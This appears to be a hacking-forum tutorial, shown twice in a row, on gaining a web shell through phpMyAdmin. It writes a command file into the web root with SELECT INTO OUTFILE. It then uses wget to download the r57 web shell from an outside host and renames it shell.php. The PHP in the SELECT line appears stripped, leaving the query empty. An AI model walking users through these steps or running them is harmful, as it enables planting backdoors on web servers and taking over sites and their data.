[TUT] Shell Uploading Through PhpMyAdmin
Requirements:-
-You must have the full path
-pma & mysql db privileges.
First login in to mysql
![[Image: SqxHA.png]](http://i.imgur.com/SqxHA.png)
now click 'Show MySQL system varible"
![[Image: PvHkS.png]](http://i.imgur.com/PvHkS.png)
then 'SQL'.
![[Image: TcvHs.png]](http://i.imgur.com/TcvHs.png)
now you can run sql commands,like create db, delete tables or whatever. we want to upload shell so lets move on to it.
now we will create a cmd line into a new file,with select into.
and click 'Go'.
![[Image: RxnI2.png]](http://i.imgur.com/RxnI2.png)
now,the cmd line is here site.com/cmd.php lets run the command of the shell. upload,and rename.
wget http://www.r57.biz/r57.txt; mv r57.txt shell.php
we have shell on the server
[TUT] Shell Uploading Through PhpMyAdmin
Requirements:-
-You must have the full path
-pma & mysql db privileges.
First login in to mysql
![[Image: SqxHA.png]](http://i.imgur.com/SqxHA.png)
now click 'Show MySQL system varible"
![[Image: PvHkS.png]](http://i.imgur.com/PvHkS.png)
then 'SQL'.
![[Image: TcvHs.png]](http://i.imgur.com/TcvHs.png)
now you can run sql commands,like create db, delete tables or whatever. we want to upload shell so lets move on to it.
now we will create a cmd line into a new file,with select into.
Quote:SELECT ""
INTO OUTFILE "full/path/here/cmd.php
and click 'Go'.
![[Image: RxnI2.png]](http://i.imgur.com/RxnI2.png)
now,the cmd line is here site.com/cmd.php lets run the command of the shell. upload,and rename.
wget http://www.r57.biz/r57.txt; mv r57.txt shell.php
we have shell on the server
![[Image: dbq48.png]](http://i.imgur.com/dbq48.png)
Post a Comment